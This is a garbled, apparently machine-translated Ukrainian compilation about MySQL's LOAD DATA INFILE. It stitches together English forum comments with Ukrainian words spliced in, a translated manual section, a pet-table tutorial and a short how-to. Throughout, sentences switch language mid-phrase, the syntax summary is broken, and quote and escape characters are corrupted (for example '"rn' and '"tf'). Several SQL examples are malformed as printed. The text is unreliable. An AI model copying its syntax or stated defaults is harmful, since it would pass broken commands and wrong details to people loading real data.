Це повинно бути handled в application. It
certainly doesn"t hurt to tell the user, "You"ve
алевключено в це. Please stop refreshing."
Actually, due to the number of hyperimpatient end
lusers out there, this seems як особливо
good idea.
| Posted by Larry Irwin on Tuesday August 20 2002, @11:50am | [Delete] [Edit] |
It would be very helpful to have an addtional option
to "IGNORE CONSTRAINTS" при loading
process.
| Posted by on Thursday September 5 2002, @1:34am | [Delete] [Edit] |
There is a catch with "on empty MyISAM table, all
non-unique indexs є створеними в окремому batch"
since the mechanismus used is a "repair with
keycache" which can be very slow if you have many
indexes. One really needs to use the mechanism to
stop keys being created and then do the repair with
myisamchk використовуючи "відповідь з сервісом" як описано в
розділ 5.2.9 (якщо ви можете зробити це:-()
| Posted by on Wednesday October 9 2002, @12:43pm | [ |
Синтаксис LOAD DATA INFILE
LOAD DATA INFILE " ім'я файлу. txt" INTO TABLE ім'я_таблиці
[ ENCLOSED BY "]
]
]
[(ім'я_стовпця,...)]
Оператор LOAD DATA INFILE читає рядки з текстового файлу та завантажує їх у таблицю на дуже високій швидкості.
Ви також можете завантажувати файли даних за допомогою утиліти mysql import. Вона працює надсилаючи на сервер оператор LOAD data INFILE. Опція --local змушує утиліту mysqlimport читати файл даних з клієнтського хоста. Ви можете вказати опцію -compress для підвищення продуктивності в повільних мережах, якщо клієнт та сервер підтримують стислий протокол.
Якщо вказано ключове слово LOW_PRIORITY, виконання оператора LOAD DATA відкладається до тих пір, поки решта клієнтів не завершать читання.
Якщо вказано ключове слово CONCURRENT з таблицею MyISAM, яка задовольняє умову паралельних вставок (тобто немає вільних блоків у середині файла), інші потоки зможуть витягувати дані з таблиці одночасно з виконанням LOAD DATA. Застосування цієї опції трохи позначається на продуктивності LOAD DATA, навіть якщо жоден інший потік із цією таблицею не працює.
Якщо вказано ключове слово LOCAL, воно стосується клієнтської частини з'єднання.
- Якщо слово LOCAL вказано, файл читається програмою клієнта на хості клієнта і відправляється на сервер.
- Якщо слово LOCAL не вказано, файл, що завантажується, повинен знаходитися на хості сервера, і читається сервером безпосередньо.
LOCAL доступно в MySQL 3.22.6 та пізніших версіях.
З міркувань безпеки під час читання текстових файлів, розміщених на сервері, файли мають або перебувати у каталозі даних, або бути доступними всім читання. Крім того, щоб використовувати LOAD DATA із серверними файлами, ви повинні мати привілей FILE.
Завантаження з опцією LOCAL йде дещо повільніше, ніж коли ви даєте серверу можливість безпосереднього доступу до завантажуваних файлів, тому що в цьому випадку вміст файлів передається по мережі через клієнт-сер правильне з'єднання. З іншого боку, у цьому випадку вам не потрібні привілеї FILE.
Починаючи з версій MySQL 3.23.49 і MySQL 4.0.2 (4.0.13 для Windows), LOCAL працює, тільки якщо і клієнт, і сервер дозволяють це. Наприклад, якщо mysqld запущений з опцією -local-inf ile = 0, то LOCAL працювати не буде.
Якщо вам потрібно за допомогою LOAD DATA читати з програмного каналу, ви можете застосувати таку техніку:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
cat< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "LOAD DATA INFILE "x1 INTO TABLE x" x
Якщо ви працюєте з версією MySQL, що передує 3.23.25, то цю техніку можна застосовувати тільки з LOAD DATA LOCAL INFILE.
Якщо у вас версія MySQL, що передує 3.23.24, то ви не зможете читати за допомогою оператора LOAD DATA INFILE з FIFO. Якщо вам потрібно читати з FIFO (наприклад, з вихідного потоку gunzip), застосовуйте натомість LOAD DATA LOCAL INFILE.
При пошуку файлу у файловій системі сервер керується такими правилами:
- Якщо задано абсолютний шлях, сервер його використовує, як є.
- Якщо задано відносний шлях з одним або більше провідними компонентами, сервер шукає файли щодо свого каталогу даних.
- Якщо задано ім'я файлу без провідних компонентів шляху, сервер шукає файл у каталозі даних за промовчанням бази даних.
Зазначимо, що з цих правил випливає, що файл з ім'ям./myfile.txt читається з каталогу даних сервера, тоді як файл з ім'ям myfile,txt читається з каталогу бази даних за промовчанням. Наприклад, наступний оператор LOAD DATA INFILE читає файл data.txt з каталогу даних бази dbl, тому що dbl -поточна база даних, незважаючи на те, що оператор завантажує дані в базу даних db2:
mysql> USE dbl;
mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;
Ключові слова REPLACE та IGNORE керують роботою із вхідними рядками, які дублюють існуючі за значенням унікальні ключі.
Якщо вказано REPLACE, вхідні рядки замінюють існуючі рядки (тобто рядки, які мають ті ж значення первинних або унікальних ключів, як і існуючі в таблиці рядка). розділ Синтаксис REPLACE
Якщо зазначено IGNORE, то вхідні рядки, які дублюють існуючі рядки з тими самими значеннями первинних чи унікальних ключів, пропускаються. Якщо не вказано жодної, ні іншої опції, то поведінка залежить від того, чи вказано ключове слово local. За відсутності LOCAL у разі виявлення дублювання ключа генерується помилка, а залишок текстового файлу ігнорується. За наявності LOCAL, поведінка за умовчанням буде такою самою, якби було вказано IGNORE. Це пояснюється тим, що сервер не може зупинити передачу файлу в процесі виконання цієї операції.
Якщо ви хочете ігнорувати обмеження зовнішніх ключів у процесі операції завантаження даних, ви можете виконати оператор SET FOREIGN_KEY_CHECKS=0 перед запуском LOAD DATA.
Якщо ви запускаєте LOAD DATA для порожньої таблиці MyISAM, всі унікальні індекси створюються в окремому завданні (як для REPAIR TABLE). Зазвичай це призводить до того, що за наявності багатьох індексів LOAD DATA виконується набагато швидше. Як правило, це працює дуже швидко, але в деяких особливих випадках ви можете створити індекси ще швидше, вимкнувши їх через ALTER TABLE.. .DISABLE KEYS перед завантаженням
файлу в таблицю, перестворивши індекси та увімкнувши їх за допомогою ALTER TABLE.. .ENABLE KEYS після закінчення завантаження.
LOAD DATA INFILE – це додаток для SELECT.. .INTO OUTFILE. Синтаксис SELECT Для запису даних з таблиці у файл використовуйте SELECT... INTO OUTFILE. Щоб прочитати дані назад із файлу в таблицю, скористайтеся LOAD DATA INFILE. Синтак-сис конструкцій FIELDS та LINES однаковий для обох операторів. Обидві ці конструкції не обов'язкові, але fields повинна передувати LINES, якщо зазначені обидві.
Якщо зазначена конструкція FIELDS, то її параметри (TERMINATED BY, ENCLOSED BY і ESCAPED BY) також обов'язкові, крім вимоги, що обов'язково повинен бути хоча б один параметр.
Якщо конструкція FIELDS не вказана, за замовчуванням приймається такий вигляд:
FIELDS TERMINATED BY "tf ENCLOSED BY "ESCAPED BY"
Якщо не вказано конструкцію LINES, за замовчуванням приймається такий варіант:
LINES TERMINATED BY "n! STARTING BY "
Іншими словами, стандартна поведінка LOAD DATA INFILE при читанні введення та-ково:
- Шукати роздільники рядків на початку рядків.
- Не пропускати жодних префіксів рядка.
- Розбивати рядок на поля на знаках табуляції.
- Не чекати, що поля будуть поміщені в лапки.
- Інтерпретувати появу знака табуляції, перекладу рядка або символу \ яким передує з як літеральні символи, що є частиною значення поля.
І навпаки, SELECT... INTO OUTFILE за умовчанням поводиться так:
- Пише знак табуляції між полями.
- Чи не оточує значення полів лапками.
- Використовує *" для виділення знаків табуляції, перекладу рядків або "\ значень значень полів, що зустрічаються всередині.
- Пише символ перекладу рядка наприкінці рядків.
На замітку!
Якщо ви згенерували текстовий файл у системі Windows, можливо, вам знадобиться задати LINES TERMINATED BY "rn щоб правильно прочитати файл, оскільки програми Windows зазвичай використовують ці два символи як роздільник рядків. Деякі програми, подібні WordPad, при записі файлів можуть використовувати символ "г" як роздільник рядків, щоб читати такі файли, використовуйте LINES TERMINATED BY "r".
Якщо всі рядки файлу, що читається, мають загальний префікс, який ви хочете ігнорувати, використовуйте LINES STARTING BY " рядок_префіксахдля того, щоб пропускати цей префікс. Якщо рядок не містить префікса, він пропускається весь.
Опція IGNORE кількість LINES служить для ігнорування заданої кількості рядків на початку файлу. Наприклад, ви можете скористатися IGNORE I LINES, щоб пропустити початковий рядок, що містить імена стовпців:
mysql> LOAD DATA INFILE "/tmp/test.txt" -> INTO TABLE test IGNORE 1 LINES;
Коли ви застосовуєте SELECT... INTO OUTFILE у зв'язці з LOAD DATA INFILE для запису даних з бази у файл і подальшого його читання та завантаження назад до бази, опції керування рядками та полями для обох операторів повинні збігатися. В іншому випадку LOAD DATA INFILE не зможе правильно інтерпретувати вміст текстового файлу. Припустимо, що ви за допомогою SELECT.. .INTO OUTFILE вивели дані в текстовий файл, розділяючи поля комами:
mysql> SELECT* INTO OUTFILE "data.txt" -> FIELDS TERMINATED BY"," -> FROM table2;
Щоб прочитати розділений комами файл назад, правильно буде вчинити так:
mysql> LOAD DATA INFILE "data.txt1 INTO TABLE table2 -> FIELDS TERMINATED BY
Якщо натомість ви спробуєте прочитати його оператором, наведеним нижче, це не спрацює, тому що LOAD DATA INFILE шукатиме символи табуляції між значеннями полів:
mysql> LOAD DATA INFILE "data.txt" INTO TABLE table2 ->
FIELDS TERMINATED BY "t";
Найбільш ймовірним результатом буде інтерпретація вхідного рядка як єдиного поля.
LOAD DATA INFILE також може використовуватися для читання файлів із зовнішніх джерел. Наприклад, деякий файл може мати поля, розділені комами і укладені в подвійні лапки. Якщо рядки у файлі розділені символом нового рядка, наведений нижче приклад ілюструє, які мають бути встановлені опції роздільників рядків та стовпців для завантаження файлу:
mysql> LOAD DATA INFILE "data.txt" INTO TABLEім'я_таблиці-> FIELDS TERMINATED BY 1,1 ENCLOSED BY "" -> LINES TERMINATED BY"n";
Будь-яким опціям, що задають обмежувачі рядків і стовпців, можна вказувати в якості аргументів порожні рядки ("). Якщо ж аргументи - не порожні рядки, то значення для FIELDS ENCLOSED BY І FIELDS ESCAPED BY ПОВИННІ бути ОДНОСИМО-ВІЛЬНИМИ. Аргументи BY, LINES STARTING BY І LINES TERMINATED BY можуть мати довжину більше одного символу, наприклад, щоб писати рядки, розділені символами повернення каретки/переклад рядка, або щоб читати файли, що містять такі рядки, вказуйте конструкцію LINES TERMINATED BY "rn".
Щоб прочитати файл, розділений рядками символами %%, можна зробити так:
mysql> CREATE TABLE jokes
-> (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> joke TEXT NOT NULL);
mysql> LOAD DATA INFILE "/tmp/jokes,txf INTO TABLE jokes -> FIELDS TERMINATED BY "" -> LINES TERMINATED BY "\n%%\n" (joke);
FIELDS ENCLOSED BY управляє обмежувачами (лапками) полів. При виведенні (SELECT... INTO OUTFILE), якщо пропустити слово OPTIONALLY, всі поля будуть оточені символом, вказаним в ENCLOSED BY. Приклад такого висновку (з використанням комою як роздільник полів) показаний нижче:
"1","а string","100.20"
"2","a string containing a , comma","102.20"
"3","а string containing a \"quote","102.20"
"4","a string containing a \", quote and comma","102.20"
Якщо ви вказуєте OPTIONALLY, то символ ENCLOSED BY застосовується тільки для включення в лапки полів типу CHAR і VARCHAR:
1,"а string",100.20
3,"а string containing a \"quote",102.20
4, "a string containing a", quote and comma",102.20
Зверніть увагу, що входження символу, вказаного в ENCLOSED BY, всередині значення поля передує символом, заданим ESCAPED BY. Крім того, якщо вказати пусте значення для ESCAPED BY, можливо, що буде згенерований файл, який LOAD DATA INFILE не зможе правильно завантажити.
Наприклад, якщо символ скасування залишити порожнім, наведений вище висновок виглядатиме так, як показано нижче. Нескладно помітити, що друге поле в четвертому рядку містить кому, наступну за лапкою, яка (помилково) буде виглядати як роздільник полів.
1,"а string",100.20
2,"a string containing a , comma",102.20
3,"а string containing a "quote",102.20
4,"a string containing a ", quote and comma",102.20
При введенні символ ENCLOSED BY, якщо він є, видаляється з кінця значення полів. (Це правильно незалежно від того, вказано чи ні слово OPTIONALLY. Дане слово не має жодного ефекту при інтерпретації введення.) Поява символів ENCLOSED BY з попереднім символом ESCAPED BY інтерпретується як частина поточного значення поля.
Якщо поле починається з символу ENCLOSED BY, екземпляри цього символу інтерпретуються як завершення значення поля, тільки якщо за ними слідує поле або послідовність TERMINATED BY. Щоб уникнути неоднозначності у разі появи символу ENCLOSED BY всередині значення поля, цей символ може бути продубльований, і буде інтерпретуватися як єдиний екземпляр символу. Наприклад, якщо задається ENCLOSED BY "", лапки обробляються так:
"The "BIG"" boss" -> The "BIG" boss The "BIG" boss -> The "BIG" boss The ""BIG"" boss -> The ""BIG"" boss
FIELDS ESCAPED BY керує читанням чи записом спеціальних символів. Якщо аргумент FIELDS ESCAPED BY не порожній, він використовується як префікс для наступних символів у висновку:
- Символ FIELDS ESCAPED BY.
- Символ FIELDS ENCLOSED BY.
- Першого символу послідовностей FIELDS TERMINATED BY І LINES TERMINATED BY.
- ASCII 0 (який пишеться за символом скасування як ASCII "0", а чи не нульовий байт).
Якщо символ FIELDS ESCAPED BY порожній, жодні символи не передаються символами скасування, і NULL виводиться як NULL, а не \N. Ймовірно, це не дуже хороша думка - залишати порожнім аргумент FIELDS ESCAPED BY, особливо якщо значення полів ваших даних містять будь-який із згаданих символів.
При введенні, якщо FIELDS ESCAPED BY не порожній, то при появі цього символу в рядку значення він видаляється, а наступний за ним символ читається літерально, як частина значення поля. Винятками є послідовності "0" або "N" (SYS-PAGE-CONTENT або \N, якщо символом скасування вибрано "\"). Ці послідовності інтерпретуються, відповідно, як ASCII NUL (нульовий байт) і NULL. Правила поводження з NULL описані нижче у цьому розділі.
Більш детальну інформацію про синтаксис скасування "\" можна знайти в розділі Літеральні значення
У деяких випадках опції, що управляють полями та рядками, взаємодіють між собою:
- Якщо вказаний порожній рядок для LINES TERMINATED BY, а FIELDS TERMINATED BY не порожній, то роздільником рядків також є LINES TERMINATED BY.
- ЯКЩО порожні І FIELDS TERMINATED BY І FIELDS ENCLOSED BY, ВИКОРИСТОВУЄТЬСЯ формат фіксованого рядка (без роздільників). У цьому форматі немає жодних роздільників між полями (але можна мати роздільник рядків). Натомість значення стовпців пишуться і читаються з використанням ширини відображення стовпців. Наприклад, якщо стовпець оголошено як INT (7), значення стовпця записуються в семисимвольне поле. При введенні значення шпальти витягуються читанням семи символів.
LINES TERMINATED BY, як і раніше, використовується для розділення рядків. Якщо рядок не містить всіх полів, решті стовпців присвоюються їх значення за замовчуванням. Якщо у вас немає термінатора рядка, його значення потрібно встановити в 1". У цьому випадку текстовий файл повинен містити всі поля в кожному рядку. Формат із фіксованою довжиною рядка також стосується роботи зі значеннями NULL, як описано нижче. Слід зазначити, що формат фіксованого довжина не працює, якщо використовується багатобайтний набір символів (наприклад, Unicode).
Обробка значень NULL варіюється в залежності від опцій FIELDS і LINES, що застосовуються:
- При значеннях FIELDS і LINES за замовчуванням NULL пишеться як значення поля у вигляді \N для виведення і це значення \N читається як NULL при введенні (припускаючи, що символ ESCAPED BY встановлений в "\")-
- Якщо FIELDS ENCLOSED BY не порожній, поле, що містить літеральне слово NULL, читається як значення NULL. Це від випадку, коли слово NULL обмежено символами FIELDS ENCLOSED BY, коли значення читається, як рядок "NULL".
- Якщо FIELDS ESCAPED BY є порожнім, NULL пишеться як слово NULL.
- При форматі з фіксованою довжиною рядка (що трапляється, коли і FIELDS TERMINATED BY, і FIELDS ENCLOSED BY порожні) NULL записується як порожній рядок. Зазначимо, що це призводить до того, що значення NULL і порожні рядки в таблиці стають невиразними при записі файлу, оскільки в обох випадках пишуться порожні рядки. Якщо вам необхідно робити різницю між ними, уникайте використання формату з фіксованою довжиною рядка.
Нижче наведено деякі випадки, які не підтримуються LOAD DATA INFILE:- Рядки фіксованої ДОВЖИНИ (FIELDS TERMINATED BY І FIELDS ENCLOSED BY nіcті) за наявності стовпців тиру TEXT або BLOB.
- Якщо ви вказуєте роздільник, який збігається з іншим префіксом, LOAD DATA INFILE не може правильно інтерпретувати вхідний потік. Наприклад, наступний варіант призведе до проблем:
FIELDS TERMINATED BY "" ENCLOSED BY ""
- Якщо FIELDS ESCAPED BY порожній, значення полів, які включають символи FIELDS ENCLOSED BY АБО LINES TERMINATED BY З наступним СИМВОЛОМ LINES TERMINATED BY, змусять LOAD DATA INFILE занадто рано припинити читання файлу або рядка. Це станеться тому, що LOAD DATA INFILE не може правильно визначити, де завершується значення поля чи рядка. Наступний приклад завантажує всі стовпці таблиці persondata: mysql> LOAD DATA INFILE "persondata.txt" INTO TABLE persondata;
За замовчуванням, якщо в кінці оператора LOAD DATA INFILE не наведено список стовпців, очікується, що у вхідному рядку містяться поля для кожного стовпця таблиці. Якщо ви хочете завантажити лише деякі зі стовпців таблиці, вказуйте список стовпців:
mysql> LOAD DATA INFILE "persondata.txt1
-> INTO TABLE persondata(coll, col2, ...);
Ви також повинні вказувати список стовпців, якщо порядок полів у вхідному файлі відрізняється від порядку стовпців у таблиці. В іншому випадку MySQL не зможе встановити відповідність між вхідними полями і стовпцями таблиць.
Якщо вхідний файл має занадто мало полів у рядках, то стовпцям, що не вистачає, будуть присвоєні значення за замовчуванням. Призначення за промовчанням описано в розділі Синтаксис CREATE TABLE
Порожні значення полів інтерпретуються інакше, ніж пропущені:- Для рядкових типів - стовпцю надається порожній рядок.
- Для числових типів – стовпцю присвоюється 0.
- Для типів дати та часу - стовпець встановлюється у відповідний тип
"нульове" значення. розділ Типи дати та часу
Це ті ж значення, що одержуються в результаті явного присвоєння порожнього рядка стовпцям цих типів операторів INSERT або UPDATE.
Значення стовпців типу TIMESTAMP встановлюються в поточну дату і час, тільки якщо їм присвоюється значення NULL (тобто \N), або якщо стовпець цього типу пропущений у списку полів, якщо список полів наведено.LOAD DATA INFILE розглядає все введення як рядкове, тому ви не можете використовувати числові значення для стовпців типу ENUM або SET, як це допускається в операторах INSERT. Усі значення ENUM або SET повинні вказуватись як рядки!
Коли оператор LOAD DATA INFILE завершує роботу, він повертає інформаційний рядок у наступному форматі:
Records: I Deleted: 0 Skipped: 0 Warnings: Про
Якщо ви працюєте з програмним інтерфейсом API, то можете отримати інформацію про цього оператора, звернувшись до функції mysql_info().
Попередження, які з'являються за деяких умов, такі ж, як при вставці значень оператором INSERT (див. розділ 6.1.4), за винятком того, що LOAD DATA INFILE крім них генерує попередження про те, що у вхідному файлі занадто мало надто багато полів. Попередження ніде не зберігаються, кількість попереджень може бути використана тільки як ознака того, що все пройшло успішно.
Починаючи з MySQL 4.1.1, ви можете використовувати SHOW WARNINGS для отримання списку перших max_error_count попереджень як інформацію про те, щопри завантаженні пройшло не так, як треба. Синтаксис SHOW WARNINGS
До MySQL 4.1.1 лише кількість попереджень була ознакою того, що завантаження пройшло не гладко. Якщо ви отримуєте попередження і хочете знати точно, чому воно з'явилося, єдиний шлях зробити це - за допомогою SELECT.
Після створення таблиці ви маєте заповнити її даними. Інструкції та INSERTкорисні при цьому. Як вони працюють, поговоримо трохи пізніше, а поки що давайте подумаємо про дані, які треба ввести в таблицю. Як саме вони виглядають?
Припустимо, що записи про живність можуть бути описані, як показано нижче. Зауважте, що MySQL очікує дати у форматі рік-місяць-день, це може бути відмінно від того, до чого ви звикли. Рік найкраще вводити у вигляді 4 цифр. MySQL має досить складний алгоритм, щоб правильно обробляти значення років, що складаються з двох цифр, але зараз вам нема чого розбиратися ще й у цьому, тому давайте вводити дані однозначно. Всі дані про тварин для нашого прикладу показані в таблиці 2.2:
Таблиця 2.2. Дані про тварин
| name | owner | species | sex | birth | death |
| Fluffy | Harold | кішка | f | 1993-02-04 | |
| Fluffy | Harold | кішка | f | 1993-02-04 | |
| Claws | Gwen | кішка | m | 1994-03-17 | |
| Buffy | Harold | собака | f | 1989-05-13 | |
| Fang | Benny | собака | m | 1990-08-27 | |
| Bowser | Diane | собака | m | 1989-08-31 | 1995-07-29 |
| Chirpy | Gwen | пташка | f | 1998-09-11 | |
| Whistler | Gwen | пташка | 1997-12-09 | ||
| Slim | Benny | змія | m | 1996-04-29 |
Оскільки ви починаєте роботу з порожньою таблицею, найпростіший спосіб заповнити її полягає в тому, щоб створити текстовий файл, що містить рядок для кожної з ваших тварин, а потім завантажити вміст файлу в таблицю лише однією інструкцією.
Ви могли б створити текстовий файл pet.txt, який містить один запис на рядок, зі значеннями, що відокремлюються позиціями табуляції, вказаними в тому порядку, в якому стовпці були перераховані в інструкції CREATE TABLE. Для відсутніх значень (типу невідомої статі або дат загибелі для тварин, які ще живуть), ви можете використовувати значення NULL. Щоб подати їх у текстовому файлі, використовуйте мітку. Наприклад, запис про пташку Whistler виглядає приблизно так (пробілом я позначив табуляцію):
Whistler Gwen пташка 1997-12-09
Щоб завантажити дані з текстового файлу pet.txt, розташованого на локальному комп'ютері (клієнті), а не на сервері, в таблицю pet, використовуйте команду LOAD DATA:
Mysql> LOAD DATA LOCAL INFILE «pet.txt» INTO TABLE pet;
Ключові слова мають такий зміст. INFILEвизначає рядок, який є ім'ям файлу, з якого треба прочитати дані. Оскільки ім'я є рядком, воно укладено в лапки, інакше MySQL намагатиметься його обчислити як числове вираз. LOCALвказує, що файл потрібно шукати на клієнтській системі, а чи не на сервері. INTO TABLEнаказує завантажити дані в таблицю, ім'я якої вказано відразу після слова TABLE (через пропуск).
Ви можете визначати роздільник значень стовпців і маркер кінця рядка в інструкції явно, якщо ви бажаєте, але значеннями за замовчуванням є ібуляція і переклад рядка. Їх достатньо, щоб правильно прочитати файл pet.txt, а більшого вам зараз не треба.
Коли ви хочете додати нові записи по одному, корисна інструкція INSERT. У простій її формі ви забезпечуєте значення для кожного стовпця в тому порядку, в якому стовпці були перераховані в інструкції CREATE TABLE. Припустимо, що Diane отримала у подарунок нового хом'яка Puffball. Ви можете додати новий запис, використовуючи інструкцію INSERT приблизно так:
Mysql> INSERT INTO pet
-> VALUES ("Puffball", "Diane", "хом'як", "f", "1999-03-30", "NULL");
Ключові слова тут також не вирізняються особливою складністю. INTO pet визначає, яку таблицю йде вставка. VALUESзадає список значень для нового запису в таблиці. Значення перераховуються через коми і всі разом беруться до дужок.
Зверніть увагу, що рядки та значення дати визначені як рядки. Ви можете вставляти NULL безпосередньо (не як рядок), щоб уявити відсутність значення.
З цього прикладу ви бачите, що для безпосереднього завантаження таблицю довелося б друкувати досить багато. Інструкція зберегла багато часу.
Вам колись доводилося завантажувати дані з файлу до таблиці? Якщо ні, то спробую коротко розповісти вам про один спосіб це зробити.
Завантажити дані до таблиці з файлу
LOAD DATA INFILE "data.csv" INTO TABLE my_table Така конструкція допоможе вам завантажити дані з файлу у вашу таблицю.
Якщо ви хочете завантажити відформатовані дані, скажімо розділені комою, то вам допоможе наступна конструкція:
LOAD DATA INFILE "data.csv" INTO TABLE my_table FIELDS TERMINATED BY "," ENCLOSED BY """ ESCAPED BY "\\"
LINES TERMINATED BY "\r\n"
Що це означає?
- Шукати кінці рядків у вигляді символів "\r\n"
- Розбивати рядки на поля за символами коми (,).
- Очікувати, що поля можуть бути поміщені в символи цитування.
- Інтерпретувати символи табуляції, нового рядка або "\", що зустрічаються, попередні "\", як літерали, що є частиною значення поля.
Конструкція LOAD DATA INFILE
Все, що ми описали вище, це відома конструкція LOAD DATA INFILE.
Помилка Access denied for user
Якщо у вас раптом виникла помилка Access denied for user, то вам потрібно просто додати атрибут LOCALперед INFILE.Наприклад:
LOAD DATA LOCAL INFILE "data.csv" INTO TABLE my_table
Завантажити дані в таблицю з файлу для конкретних полів
LOAD DATA LOCAL INFILE "data.csv" INTO TABLE t1 FIELDS TERMINATED BY "," LINES TERMINATED BY "\n" (@ col1 ,@ col2 ,@ col3 ,@ col4 ) set name =@ col4 , id =@ col2 ;
Тут ми вказуємо ім'я файлу (data.csv), з якого буде завантажуватись дані. У конструкції (@col1,@col2,@col3,@col4) ми нумеруємо всі стовпці файлу для подальшого їх використання. А далі за допомогою знайомого нам способу set встановлюємо значення цих стовпців для певних полів таблиці.
LOAD DATA INFILE разом із JOIN
Якщо вам потрібно заповнити таблицю з файлу використовуючи вже існуючу, вам напевно відразу спало на думку використовувати join.Код для такої вставки даних виглядає приблизно так:
LOAD DATA LOCAL INFILE "data.csv" INTO TABLE table_1 FIELDS TERMINATED BY "\t" LINES TERMINATED BY "\r\n" (@col1,@col2,@col3,@col4) set user_id=@col1, username=( select username from users where user_id = @col1);